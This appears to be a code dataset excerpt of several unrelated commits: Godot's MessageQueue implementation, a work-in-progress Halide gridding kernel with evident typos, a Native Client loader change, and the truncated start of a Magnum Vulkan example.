MessageQueue::push_set(ObjectID p_id, const StringName &p_prop, const Variant &p_value) {\n\n\t_THREAD_SAFE_METHOD_\n\n\tuint8_t room_needed = sizeof(Message) + sizeof(Variant);\n\n\tif ((buffer_end + room_needed) >= buffer_size) {\n\t\tString type;\n\t\tif (ObjectDB::get_instance(p_id))\n\t\t\ttype = ObjectDB::get_instance(p_id)->get_class();\n\t\tprint_line(\"failed set: \" + type + \":\" + p_prop + \" target ID: \" + itos(p_id));\n\t\tstatistics();\n\t\tERR_EXPLAIN(\"Message queue out of memory. Try increasing 'message_queue_size_kb' in project settings\");\n\t\tERR_FAIL_V(ERR_OUT_OF_MEMORY);\n\t}\n\n\tMessage *msg = memnew_placement(&buffer[buffer_end], Message);\n\tmsg->args = 1;\n\tmsg->instance_ID = p_id;\n\tmsg->target = p_prop;\n\tmsg->type = TYPE_SET;\n\n\tbuffer_end += sizeof(Message);\n\n\tVariant *v = memnew_placement(&buffer[buffer_end], Variant);\n\tbuffer_end += sizeof(Variant);\n\t*v = p_value;\n\n\treturn OK;\n}\n\nError MessageQueue::push_notification(ObjectID p_id, int p_notification) {\n\n\t_THREAD_SAFE_METHOD_\n\n\tERR_FAIL_COND_V(p_notification < 0, ERR_INVALID_PARAMETER);\n\n\tuint8_t room_needed = sizeof(Message);\n\n\tif ((buffer_end + room_needed) >= buffer_size) {\n\t\tString type;\n\t\tif (ObjectDB::get_instance(p_id))\n\t\t\ttype = ObjectDB::get_instance(p_id)->get_class();\n\t\tprint_line(\"failed notification: \" + itos(p_notification) + \" target ID: \" + itos(p_id));\n\t\tstatistics();\n\t\tERR_EXPLAIN(\"Message queue out of memory. Try increasing 'message_queue_size_kb' in project settings\");\n\t\tERR_FAIL_V(ERR_OUT_OF_MEMORY);\n\t}\n\n\tMessage *msg = memnew_placement(&buffer[buffer_end], Message);\n\n\tmsg->type = TYPE_NOTIFICATION;\n\tmsg->instance_ID = p_id;\n\t\/\/msg->target;\n\tmsg->notification = p_notification;\n\n\tbuffer_end += sizeof(Message);\n\n\treturn OK;\n}\n\nError MessageQueue::push_call(Object *p_object, const StringName &p_method, VARIANT_ARG_DECLARE) {\n\n\treturn push_call(p_object->get_instance_ID(), p_method, VARIANT_ARG_PASS);\n}\n\nError MessageQueue::push_notification(Object *p_object, int p_notification) {\n\n\treturn push_notification(p_object->get_instance_ID(), p_notification);\n}\nError MessageQueue::push_set(Object *p_object, const StringName &p_prop, const Variant &p_value) {\n\n\treturn push_set(p_object->get_instance_ID(), p_prop, p_value);\n}\n\nvoid MessageQueue::statistics() {\n\n\tMap<StringName, int> set_count;\n\tMap<int, int> notify_count;\n\tMap<StringName, int> call_count;\n\tint null_count = 0;\n\n\tuint32_t read_pos = 0;\n\twhile (read_pos < buffer_end) {\n\t\tMessage *message = (Message *)&buffer[read_pos];\n\n\t\tObject *target = ObjectDB::get_instance(message->instance_ID);\n\n\t\tif (target != NULL) {\n\n\t\t\tswitch (message->type & FLAG_MASK) {\n\n\t\t\t\tcase TYPE_CALL: {\n\n\t\t\t\t\tif (!call_count.has(message->target))\n\t\t\t\t\t\tcall_count[message->target] = 0;\n\n\t\t\t\t\tcall_count[message->target]++;\n\n\t\t\t\t} break;\n\t\t\t\tcase TYPE_NOTIFICATION: {\n\n\t\t\t\t\tif (!notify_count.has(message->notification))\n\t\t\t\t\t\tnotify_count[message->notification] = 0;\n\n\t\t\t\t\tnotify_count[message->notification]++;\n\n\t\t\t\t} break;\n\t\t\t\tcase TYPE_SET: {\n\n\t\t\t\t\tif (!set_count.has(message->target))\n\t\t\t\t\t\tset_count[message->target] = 0;\n\n\t\t\t\t\tset_count[message->target]++;\n\n\t\t\t\t} break;\n\t\t\t}\n\n\t\t\t\/\/object was deleted\n\t\t\t\/\/WARN_PRINT(\"Object was deleted while awaiting a callback\")\n\t\t\t\/\/should it print a warning?\n\t\t} else {\n\n\t\t\tnull_count++;\n\t\t}\n\n\t\tread_pos += sizeof(Message);\n\t\tif ((message->type & FLAG_MASK) != TYPE_NOTIFICATION)\n\t\t\tread_pos += sizeof(Variant) * message->args;\n\t}\n\n\tprint_line(\"TOTAL BYTES: \" + itos(buffer_end));\n\tprint_line(\"NULL count: \" + itos(null_count));\n\n\tfor (Map<StringName, int>::Element *E = set_count.front(); E; E = E->next()) {\n\n\t\tprint_line(\"SET \" + E->key() + \": \" + itos(E->get()));\n\t}\n\n\tfor (Map<StringName, int>::Element *E = call_count.front(); E; E = E->next()) {\n\n\t\tprint_line(\"CALL \" + E->key() + \": \" + itos(E->get()));\n\t}\n\n\tfor (Map<int, int>::Element *E = notify_count.front(); E; E = E->next()) {\n\n\t\tprint_line(\"NOTIFY \" + itos(E->key()) + \": \" + itos(E->get()));\n\t}\n}\n\nbool MessageQueue::print() {\n#if 0\n\tuint32_t read_pos=0;\n\twhile (read_pos < buffer_end ) {\n\t\tMessage *message = (Message*)&buffer[ read_pos ];\n\n\t\tObject *target = ObjectDB::get_instance(message->instance_ID);\n\t\tString cname;\n\t\tString cfunc;\n\n\t\tif (target==NULL) {\n\t\t\t\/\/object was deleted\n\t\t\t\/\/WARN_PRINT(\"Object was deleted while awaiting a callback\")\n\t\t\t\/\/should it print a warning?\n\t\t} else if (message->notification>=0) {\n\n\t\t\t\/\/ messages don't expect a return value\n\t\t\tcfunc=\"notification # \"+itos(message->notification);\n\t\t\tcname=target->get_type();\n\n\t\t} else if (!message->target.empty()) {\n\n\t\t\tcfunc=\"property: \"+message->target;\n\t\t\tcname=target->get_type();\n\n\n\t\t} else if (message->target) {\n\n\t\t\tcfunc=String(message->target)+\"()\";\n\t\t\tcname=target->get_type();\n\t\t}\n\n\n\t\tread_pos+=sizeof(Message);\n\t\tif (message->type!=TYPE_NOTIFICATION)\n\t\t\tread_pos+=sizeof(Variant)*message->args;\n\t}\n#endif\n\treturn false;\n}\n\nint MessageQueue::get_max_buffer_usage() const {\n\n\treturn buffer_max_used;\n}\n\nvoid MessageQueue::_call_function(Object *p_target, const StringName &p_func, const Variant *p_args, int p_argcount, bool p_show_error) {\n\n\tconst Variant **argptrs = NULL;\n\tif (p_argcount) {\n\t\targptrs = (const Variant **)alloca(sizeof(Variant *) * p_argcount);\n\t\tfor (int i = 0; i < p_argcount; i++) {\n\t\t\targptrs[i] = &p_args[i];\n\t\t}\n\t}\n\n\tVariant::CallError ce;\n\tp_target->call(p_func, argptrs, p_argcount, ce);\n\tif (p_show_error && ce.error != Variant::CallError::CALL_OK) {\n\n\t\tERR_PRINTS(\"Error calling deferred method: \" + Variant::get_call_error_text(p_target, p_func, argptrs, p_argcount, ce));\n\t}\n}\n\nvoid MessageQueue::flush() {\n\n\tif (buffer_end > buffer_max_used) {\n\t\tbuffer_max_used = buffer_end;\n\t\t\/\/statistics();\n\t}\n\n\tuint32_t read_pos = 0;\n\n\t\/\/using reverse locking strategy\n\t_THREAD_SAFE_LOCK_\n\n\twhile (read_pos < buffer_end) {\n\n\t\t_THREAD_SAFE_UNLOCK_\n\n\t\t\/\/lock on each interation, so a call can re-add itself to the message queue\n\n\t\tMessage *message = (Message *)&buffer[read_pos];\n\n\t\tObject *target = ObjectDB::get_instance(message->instance_ID);\n\n\t\tif (target != NULL) {\n\n\t\t\tswitch (message->type & FLAG_MASK) {\n\t\t\t\tcase TYPE_CALL: {\n\n\t\t\t\t\tVariant *args = (Variant *)(message + 1);\n\n\t\t\t\t\t\/\/ messages don't expect a return value\n\n\t\t\t\t\t_call_function(target, message->target, args, message->args, message->type & FLAG_SHOW_ERROR);\n\n\t\t\t\t\tfor (int i = 0; i < message->args; i++) {\n\t\t\t\t\t\targs[i].~Variant();\n\t\t\t\t\t}\n\n\t\t\t\t} break;\n\t\t\t\tcase TYPE_NOTIFICATION: {\n\n\t\t\t\t\t\/\/ messages don't expect a return value\n\t\t\t\t\ttarget->notification(message->notification);\n\n\t\t\t\t} break;\n\t\t\t\tcase TYPE_SET: {\n\n\t\t\t\t\tVariant *arg = (Variant *)(message + 1);\n\t\t\t\t\t\/\/ messages don't expect a return value\n\t\t\t\t\ttarget->set(message->target, *arg);\n\n\t\t\t\t\targ->~Variant();\n\t\t\t\t} break;\n\t\t\t}\n\t\t}\n\n\t\tuint32_t advance = sizeof(Message);\n\t\tif ((message->type & FLAG_MASK) != TYPE_NOTIFICATION)\n\t\t\tadvance += sizeof(Variant) * message->args;\n\t\tmessage->~Message();\n\n\t\t_THREAD_SAFE_LOCK_\n\t\tread_pos += advance;\n\t}\n\n\tbuffer_end = 0; \/\/ reset buffer\n\t_THREAD_SAFE_UNLOCK_\n}\n\nMessageQueue::MessageQueue() {\n\n\tERR_FAIL_COND(singleton != NULL);\n\tsingleton = this;\n\n\tbuffer_end = 0;\n\tbuffer_max_used = 0;\n\tbuffer_size = GLOBAL_DEF(\"memory\/buffers\/message_queue_max_size_kb\", DEFAULT_QUEUE_SIZE_KB);\n\tbuffer_size *= 1024;\n\tbuffer = memnew_arr(uint8_t, buffer_size);\n}\n\nMessageQueue::~MessageQueue() {\n\n\tuint32_t read_pos = 0;\n\n\twhile (read_pos < buffer_end) {\n\n\t\tMessage *message = (Message *)&buffer[read_pos];\n\t\tVariant *args = (Variant *)(message + 1);\n\t\tint argc = message->args;\n\t\tif ((message->type & FLAG_MASK) != TYPE_NOTIFICATION) {\n\t\t\tfor (int i = 0; i < argc; i++)\n\t\t\t\targs[i].~Variant();\n\t\t}\n\t\tmessage->~Message();\n\n\t\tread_pos += sizeof(Message);\n\t\tif ((message->type & FLAG_MASK) != TYPE_NOTIFICATION)\n\t\t\tread_pos += sizeof(Variant) * message->args;\n\t}\n\n\tsingleton = NULL;\n\tmemdelete_arr(buffer);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Gridding algoithm, adopted from bilateral_grid demo app.\n\/\/ There's nothing left from bilateral_grid except ideas and typical Halide idioms.\n\n#include \"Halide.h\"\n#include <stdio.h>\n\nusing namespace Halide;\n\nint main(int argc, char **argv) {\n ImageParam UVW(Float(64), 4); \/\/ second dimension is used for U, V and W parts. So it should be Nx3 sized.\n\n \/\/ Constant supersample factor.\n Expr supersampleFactor = 8;\n\n \/\/ The Omega - telescope view angle.\n Expr Omega = pi\/2;\n\n \/\/ Two dimensional image for prolate spheroidal wave function. Last dimension is fixed to 2.\n ImageParam PSWF(Float(64),3);\n\n Var pswfKernelHalf(\"pswfKernelHalf\");\n\n \/\/ pswf kernel image height and width are odd, 2N+1. To recover the half, and not to overflow image bounds,\n \/\/ we first subtract 1 and only then divide by 2. It have to work for 2N+1 and is safe for even values.\n \/\/ (albeit incorrect).\n pswfKernelHalf = (PSWF.extent(0)-1) \/ 2;\n\n \/\/ Iterator within UVW triples.\n RDom uvwRange (0, UVW.extent(0), 0, UVW.extent(1), 0, UVW.extent(2));\n\n Var timestep(\"timestep\");\n Var baseline(\"baseline\");\n Var channel(\"channel\");\n\n baseline = uvwRange.x;\n timestep = uvmRange.y;\n timestep = uvwRange.z;\n\n \/\/ fetch the values.\n Var U(\"U\");\n U = UVW(baseline, timestep, channel, 0);\n Var V(\"V\");\n V = UVW(baseline, timestep, channel, 1);\n Var W(\"W\");\n W = UVW(baseline, timestep, channel, 2);\n\n Expr intU = cast<int>U;\n Expr intV = case<int>V;\n\n Expr supersampleU = cast<int>(supersampleFactor*(U - intU));\n Expr supersampleV = cast<int>(supersampleFactor*(V - intV));\n\n \/\/ Computation of kernel width.\n Expr onePercent = 0.01;\n Expr wOmegaBy2 = W*Omega\/2;\n Expr GKernelWidth = sqrt(wOmegaBy2*(wOmegaBy2 + pi*onePercent\/sqrt(w)));\n Expr GKernelWidthInt = cast<int>(GKernelWidth+0.5);\n\n \/\/ Range over kernel space. It is two dimensional, to account for U and V.\n RDom GUVRange (-GKernelWidthInt, GKernelWidthInt+1, -GKernelWidthInt, GKernelWidthInt+1);\n\n Var GU(\"GU\");\n Var GV(\"GV\");\n\n GU = GUVRange.x;\n GV = GUVRange.y;\n\n \/\/ Range over PSWF space.\n RDom pswfRange(-pswfKernelHalf, pswfKernelHalf+1, -pswfKernelHalf, pswfKernelHalf+1);\n\n Var PSWFU(\"PSWFU\");\n Var PSWFV(\"PSWFV\");\n\n PSWFU = pswfRange.x;\n PSWFV = pswfRange.y;\n\n \/\/ The G kernel.\n Func G(\"G\");\n\n \/\/ !!! XXX FIXME !!! XXX FIXME\n G(GU,GV) = 1-G*0.01-U*0.01;\n\n \/\/ The computation of the result.\n Func result(\"result\");\n var rU(\"rU\");\n Var rV(\"rV\");\n\n \/\/ computing the result\n rU = intU + GU+PSWFU;\n rU = intV + GV+PSWFV;\n\n result(rU, rV) = 0.0;\n result(rU, rV) += PSWF(PSWFU, PSWFV)*G(GU,GV); \/\/ This product can be cached. We also can drop assignment to zero and only update image.\n\n return 0;\n}\n\n\n\n<commit_msg>Gridding mostly done, going to compile and test.<commit_after>\/\/ Gridding algoithm, adopted from bilateral_grid demo app.\n\/\/ There's nothing left from bilateral_grid except ideas and typical Halide idioms.\n\n#include \"Halide.h\"\n#include <stdio.h>\n\nusing namespace Halide;\n\nint main(int argc, char **argv) {\n ImageParam UVW(Float(64), 4); \/\/ second dimension is used for U, V and W parts. So it should be Nx3 sized.\n\n \/\/ Constant supersample factor.\n Expr supersampleFactor = 8;\n\n \/\/ The Omega - telescope view angle.\n Expr Omega = pi\/2;\n\n \/\/ Two dimensional image for prolate spheroidal wave function. Last dimension is fixed to 2.\n ImageParam PSWF(Float(64),3);\n\n Var pswfKernelHalf(\"pswfKernelHalf\");\n\n \/\/ pswf kernel image height and width are odd, 2N+1. To recover the half, and not to overflow image bounds,\n \/\/ we first subtract 1 and only then divide by 2. It have to work for 2N+1 and is safe for even values.\n \/\/ (albeit incorrect).\n pswfKernelHalf = (PSWF.extent(0)-1) \/ 2;\n\n \/\/ Iterator within UVW triples.\n RDom uvwRange (0, UVW.extent(0), 0, UVW.extent(1), 0, UVW.extent(2));\n\n Var timestep(\"timestep\");\n Var baseline(\"baseline\");\n Var channel(\"channel\");\n\n baseline = uvwRange.x;\n timestep = uvmRange.y;\n timestep = uvwRange.z;\n\n \/\/ fetch the values.\n Var U(\"U\");\n U = UVW(baseline, timestep, channel, 0);\n Var V(\"V\");\n V = UVW(baseline, timestep, channel, 1);\n Var W(\"W\");\n W = UVW(baseline, timestep, channel, 2);\n\n Expr intU = cast<int>U;\n Expr intV = case<int>V;\n\n Expr supersampleU = cast<int>(supersampleFactor*(U - intU));\n Expr supersampleV = cast<int>(supersampleFactor*(V - intV));\n\n \/\/ Computation of kernel width.\n Expr onePercent = 0.01;\n Expr wOmegaBy2 = W*Omega\/2;\n Expr GKernelWidth = sqrt(wOmegaBy2*(wOmegaBy2 + pi*onePercent\/sqrt(w)));\n Expr GKernelWidthInt = cast<int>(GKernelWidth+0.5);\n\n \/\/ Range over kernel space. It is two dimensional, to account for U and V.\n RDom GUVRange (-GKernelWidthInt, GKernelWidthInt+1, -GKernelWidthInt, GKernelWidthInt+1);\n\n Var GU(\"GU\");\n Var GV(\"GV\");\n\n GU = GUVRange.x;\n GV = GUVRange.y;\n\n \/\/ Range over PSWF space.\n RDom pswfRange(-pswfKernelHalf, pswfKernelHalf+1, -pswfKernelHalf, pswfKernelHalf+1);\n\n Var PSWFU(\"PSWFU\");\n Var PSWFV(\"PSWFV\");\n\n PSWFU = pswfRange.x;\n PSWFV = pswfRange.y;\n\n \/\/ The G kernel.\n Func G(\"G\");\n\n \/\/ !!! XXX FIXME !!! XXX FIXME\n G(GU,GV) = 1-G*0.01-U*0.01;\n\n \/\/ The computation of the result.\n Func gridding(\"gridding\");\n var rU(\"rU\");\n Var rV(\"rV\");\n\n \/\/ computing the result\n rU = intU + GU+PSWFU;\n rU = intV + GV+PSWFV;\n\n gridding(rU, rV) = 0.0;\n gridding(rU, rV) += PSWF(PSWFU, PSWFV)*G(GU,GV); \/\/ This product can be cached. We also can drop assignment to zero and only update image.\n\n Target compile_target = get_target_from_environment();\n gridding.compile_to_file(\"gridding_compiled\", UVW, PSWF, compile_target);\n\n return 0;\n}\n\n\n\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Page Break: Make the line control thicker to ease fade in\/out<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"native_client\/src\/include\/portability.h\"\n\n#if NACL_OSX\n#include <crt_externs.h>\n#endif\n\n#ifdef _WIN64 \/* TODO(gregoryd): remove this when win64 issues are fixed *\/\n#define NACL_NO_INLINE\n#endif\n\nEXTERN_C_BEGIN\n#include \"native_client\/src\/shared\/platform\/nacl_sync.h\"\n#include \"native_client\/src\/shared\/platform\/nacl_sync_checked.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_globals.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/expiration.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_app.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_all_modules.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/sel_ldr.h\"\n#include \"native_client\/src\/trusted\/platform_qualify\/nacl_os_qualify.h\"\nEXTERN_C_END\n\nint verbosity = 0;\n\n#ifdef __GNUC__\n\n\/*\n * GDB's canonical overlay managment routine.\n * We need its symbol in the symbol table so don't inline it.\n * TODO(dje): add some explanation for the non-GDB person.\n *\/\n\nstatic void __attribute__ ((noinline)) _ovly_debug_event (void) {\n \/*\n * The asm volatile is here as instructed by the GCC docs.\n * It's not enough to declare a function noinline.\n * GCC will still look inside the function to see if it's worth calling.\n *\/\n asm volatile (\"\");\n}\n\n#endif\n\nstatic void StopForDebuggerInit(const struct NaClApp *state) {\n \/* Put xlate_base in a place where gdb can find it. *\/\n nacl_global_xlate_base = state->mem_start;\n\n#ifdef __GNUC__\n _ovly_debug_event();\n#endif\n}\n\nint SelMain(const int desc, const NaClHandle handle) {\n char *av[1];\n int ac = 1;\n\n char **envp;\n struct NaClApp state;\n char *nacl_file = 0;\n int main_thread_only = 1;\n int export_addr_to = -2;\n\n struct NaClApp *nap;\n\n NaClErrorCode errcode;\n\n int ret_code = 1;\n#if NACL_OSX\n \/\/ Mac dynamic libraries cannot access the environ variable directly.\n envp = *_NSGetEnviron();\n#else\n extern char **environ;\n envp = environ;\n#endif\n\n NaClAllModulesInit();\n\n \/* used to be -P *\/\n NaClSrpcFileDescriptor = desc;\n \/* used to be -X *\/\n export_addr_to = desc;\n\n \/* to be passed to NaClMain, eventually... *\/\n av[0] = const_cast<char*>(\"NaClMain\");\n\n if (!NaClAppCtor(&state)) {\n fprintf(stderr, \"Error while constructing app state\\n\");\n goto done_file_dtor;\n }\n\n state.restrict_to_main_thread = main_thread_only;\n\n nap = &state;\n errcode = LOAD_OK;\n\n \/* import IMC handle - used to be \"-i\" *\/\n NaClAddImcHandle(nap, handle, desc);\n\n \/*\n * in order to report load error to the browser plugin through the\n * secure command channel, we do not immediate jump to cleanup code\n * on error. rather, we continue processing (assuming earlier\n * errors do not make it inappropriate) until the secure command\n * channel is set up, and then bail out.\n *\/\n\n \/*\n * Ensure this operating system platform is supported.\n *\/\n if (!NaClOsIsSupported()) {\n errcode = LOAD_UNSUPPORTED_OS_PLATFORM;\n nap->module_load_status = errcode;\n fprintf(stderr, \"Error while loading \\\"%s\\\": %s\\n\",\n nacl_file,\n NaClErrorString(errcode));\n }\n\n \/* Give debuggers a well known point at which xlate_base is known. *\/\n StopForDebuggerInit(&state);\n\n \/*\n * If export_addr_to is set to a non-negative integer, we create a\n * bound socket and socket address pair and bind the former to\n * descriptor 3 and the latter to descriptor 4. The socket address\n * is written out to the export_addr_to descriptor.\n *\n * The service runtime also accepts a connection on the bound socket\n * and spawns a secure command channel thread to service it.\n *\n * If export_addr_to is -1, we only create the bound socket and\n * socket address pair, and we do not export to an IMC socket. This\n * use case is typically only used in testing, where we only \"dump\"\n * the socket address to stdout or similar channel.\n *\/\n if (-2 < export_addr_to) {\n NaClCreateServiceSocket(nap);\n if (0 <= export_addr_to) {\n NaClSendServiceAddressTo(nap, export_addr_to);\n \/*\n * NB: spawns a thread that uses the command channel. we do\n * this after NaClAppLoadFile so that NaClApp object is more\n * fully populated. Hereafter any changes to nap should be done\n * while holding locks.\n *\/\n NaClSecureCommandChannel(nap);\n }\n }\n\n NaClXMutexLock(&nap->mu);\n nap->module_load_status = LOAD_OK;\n NaClXCondVarBroadcast(&nap->cv);\n NaClXMutexUnlock(&nap->mu);\n\n if (NULL != nap->secure_channel) {\n \/*\n * wait for start_module RPC call on secure channel thread.\n *\/\n NaClWaitForModuleStartStatusCall(nap);\n }\n\n \/*\n * error reporting done; can quit now if there was an error earlier.\n *\/\n if (LOAD_OK != errcode) {\n goto done;\n }\n\n \/*\n * only nap->ehdrs.e_entry is usable, no symbol table is\n * available.\n *\/\n if (!NaClCreateMainThread(nap,\n ac,\n av,\n envp)) {\n fprintf(stderr, \"creating main thread failed\\n\");\n goto done;\n }\n\n ret_code = NaClWaitForMainThreadToExit(nap);\n\n \/*\n * exit_group or equiv kills any still running threads while module\n * addr space is still valid. otherwise we'd have to kill threads\n * before we clean up the address space.\n *\/\n return ret_code;\n\n done:\n fflush(stdout);\n\n NaClAppDtor(&state);\n\n done_file_dtor:\n fflush(stdout);\n\n NaClAllModulesFini();\n\n return ret_code;\n}\n\n<commit_msg>Make _ovly_debug_event extern \"C\" for nacl-gdb<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"native_client\/src\/include\/portability.h\"\n\n#if NACL_OSX\n#include <crt_externs.h>\n#endif\n\n#ifdef _WIN64 \/* TODO(gregoryd): remove this when win64 issues are fixed *\/\n#define NACL_NO_INLINE\n#endif\n\nEXTERN_C_BEGIN\n#include \"native_client\/src\/shared\/platform\/nacl_sync.h\"\n#include \"native_client\/src\/shared\/platform\/nacl_sync_checked.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_globals.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/expiration.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_app.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_all_modules.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/sel_ldr.h\"\n#include \"native_client\/src\/trusted\/platform_qualify\/nacl_os_qualify.h\"\nEXTERN_C_END\n\nint verbosity = 0;\n\n#ifdef __GNUC__\n\n\/*\n * GDB's canonical overlay managment routine.\n * We need its symbol in the symbol table so don't inline it.\n * Note: _ovly_debug_event has to be an unmangled 'C' style symbol.\n * TODO(dje): add some explanation for the non-GDB person.\n *\/\nEXTERN_C_BEGIN\nstatic void __attribute__ ((noinline)) _ovly_debug_event (void) {\n \/*\n * The asm volatile is here as instructed by the GCC docs.\n * It's not enough to declare a function noinline.\n * GCC will still look inside the function to see if it's worth calling.\n *\/\n asm volatile (\"\");\n}\nEXTERN_C_END\n\n#endif\n\nstatic void StopForDebuggerInit(const struct NaClApp *state) {\n \/* Put xlate_base in a place where gdb can find it. *\/\n nacl_global_xlate_base = state->mem_start;\n\n#ifdef __GNUC__\n _ovly_debug_event();\n#endif\n}\n\nint SelMain(const int desc, const NaClHandle handle) {\n char *av[1];\n int ac = 1;\n\n char **envp;\n struct NaClApp state;\n char *nacl_file = 0;\n int main_thread_only = 1;\n int export_addr_to = -2;\n\n struct NaClApp *nap;\n\n NaClErrorCode errcode;\n\n int ret_code = 1;\n#if NACL_OSX\n \/\/ Mac dynamic libraries cannot access the environ variable directly.\n envp = *_NSGetEnviron();\n#else\n extern char **environ;\n envp = environ;\n#endif\n\n NaClAllModulesInit();\n\n \/* used to be -P *\/\n NaClSrpcFileDescriptor = desc;\n \/* used to be -X *\/\n export_addr_to = desc;\n\n \/* to be passed to NaClMain, eventually... *\/\n av[0] = const_cast<char*>(\"NaClMain\");\n\n if (!NaClAppCtor(&state)) {\n fprintf(stderr, \"Error while constructing app state\\n\");\n goto done_file_dtor;\n }\n\n state.restrict_to_main_thread = main_thread_only;\n\n nap = &state;\n errcode = LOAD_OK;\n\n \/* import IMC handle - used to be \"-i\" *\/\n NaClAddImcHandle(nap, handle, desc);\n\n \/*\n * in order to report load error to the browser plugin through the\n * secure command channel, we do not immediate jump to cleanup code\n * on error. rather, we continue processing (assuming earlier\n * errors do not make it inappropriate) until the secure command\n * channel is set up, and then bail out.\n *\/\n\n \/*\n * Ensure this operating system platform is supported.\n *\/\n if (!NaClOsIsSupported()) {\n errcode = LOAD_UNSUPPORTED_OS_PLATFORM;\n nap->module_load_status = errcode;\n fprintf(stderr, \"Error while loading \\\"%s\\\": %s\\n\",\n nacl_file,\n NaClErrorString(errcode));\n }\n\n \/* Give debuggers a well known point at which xlate_base is known. *\/\n StopForDebuggerInit(&state);\n\n \/*\n * If export_addr_to is set to a non-negative integer, we create a\n * bound socket and socket address pair and bind the former to\n * descriptor 3 and the latter to descriptor 4. The socket address\n * is written out to the export_addr_to descriptor.\n *\n * The service runtime also accepts a connection on the bound socket\n * and spawns a secure command channel thread to service it.\n *\n * If export_addr_to is -1, we only create the bound socket and\n * socket address pair, and we do not export to an IMC socket. This\n * use case is typically only used in testing, where we only \"dump\"\n * the socket address to stdout or similar channel.\n *\/\n if (-2 < export_addr_to) {\n NaClCreateServiceSocket(nap);\n if (0 <= export_addr_to) {\n NaClSendServiceAddressTo(nap, export_addr_to);\n \/*\n * NB: spawns a thread that uses the command channel. we do\n * this after NaClAppLoadFile so that NaClApp object is more\n * fully populated. Hereafter any changes to nap should be done\n * while holding locks.\n *\/\n NaClSecureCommandChannel(nap);\n }\n }\n\n NaClXMutexLock(&nap->mu);\n nap->module_load_status = LOAD_OK;\n NaClXCondVarBroadcast(&nap->cv);\n NaClXMutexUnlock(&nap->mu);\n\n if (NULL != nap->secure_channel) {\n \/*\n * wait for start_module RPC call on secure channel thread.\n *\/\n NaClWaitForModuleStartStatusCall(nap);\n }\n\n \/*\n * error reporting done; can quit now if there was an error earlier.\n *\/\n if (LOAD_OK != errcode) {\n goto done;\n }\n\n \/*\n * only nap->ehdrs.e_entry is usable, no symbol table is\n * available.\n *\/\n if (!NaClCreateMainThread(nap,\n ac,\n av,\n envp)) {\n fprintf(stderr, \"creating main thread failed\\n\");\n goto done;\n }\n\n ret_code = NaClWaitForMainThreadToExit(nap);\n\n \/*\n * exit_group or equiv kills any still running threads while module\n * addr space is still valid. otherwise we'd have to kill threads\n * before we clean up the address space.\n *\/\n return ret_code;\n\n done:\n fflush(stdout);\n\n NaClAppDtor(&state);\n\n done_file_dtor:\n fflush(stdout);\n\n NaClAllModulesFini();\n\n return ret_code;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n This file is part of Magnum.\n\n Original authors — credit is appreciated but not required:\n\n 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021\n — Vladimír Vondruš <mosra@centrum.cz>\n 2021 — Pablo Escobar <mail@rvrs.in>\n\n This is free and unencumbered software released into the public domain.\n\n Anyone is free to copy, modify, publish, use, compile, sell, or distribute\n this software, either in source code form or as a compiled binary, for any\n purpose, commercial or non-commercial, and by any means.\n\n In jurisdictions that recognize copyright laws, the author or authors of\n this software dedicate any and all copyright interest in the software to\n the public domain. We make this dedication for the benefit of the public\n at large and to the detriment of our heirs and successors. We intend this\n dedication to be an overt act of relinquishment in perpetuity of all\n present and future rights to this software under copyright law.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <Corrade\/Containers\/Array.h>\n#include <Corrade\/Containers\/StringView.h>\n#include <Corrade\/Utility\/Assert.h>\n#include <Corrade\/PluginManager\/Manager.h>\n#include <Magnum\/Magnum.h>\n#include <Magnum\/ImageView.h>\n#include <Magnum\/PixelFormat.h>\n#include <Magnum\/Math\/Color.h>\n#include <Magnum\/ShaderTools\/AbstractConverter.h>\n#include <Magnum\/Trade\/AbstractImageConverter.h>\n#include <Magnum\/Vk\/Assert.h>\n#include <Magnum\/Vk\/BufferCreateInfo.h>\n#include <Magnum\/Vk\/CommandBuffer.h>\n#include <Magnum\/Vk\/CommandPoolCreateInfo.h>\n#include <Magnum\/Vk\/DeviceCreateInfo.h>\n#include <Magnum\/Vk\/DeviceProperties.h>\n#include <Magnum\/Vk\/Fence.h>\n#include <Magnum\/Vk\/FramebufferCreateInfo.h>\n#include <Magnum\/Vk\/ImageCreateInfo.h>\n#include <Magnum\/Vk\/ImageViewCreateInfo.h>\n#include <Magnum\/Vk\/InstanceCreateInfo.h>\n#include <Magnum\/Vk\/Memory.h>\n#include <Magnum\/Vk\/Queue.h>\n#include <Magnum\/Vk\/RenderPassCreateInfo.h>\n#include <Magnum\/Vk\/ShaderCreateInfo.h>\n#include <MagnumExternal\/Vulkan\/flextVkGlobal.h>\n\nusing namespace Corrade::Containers::Literals;\nusing namespace Magnum;\nusing namespace Magnum::Math::Literals;\n\nint main(int argc, char** argv) {\n \/* Create an instance *\/\n Vk::Instance instance{Vk::InstanceCreateInfo{argc, argv}\n 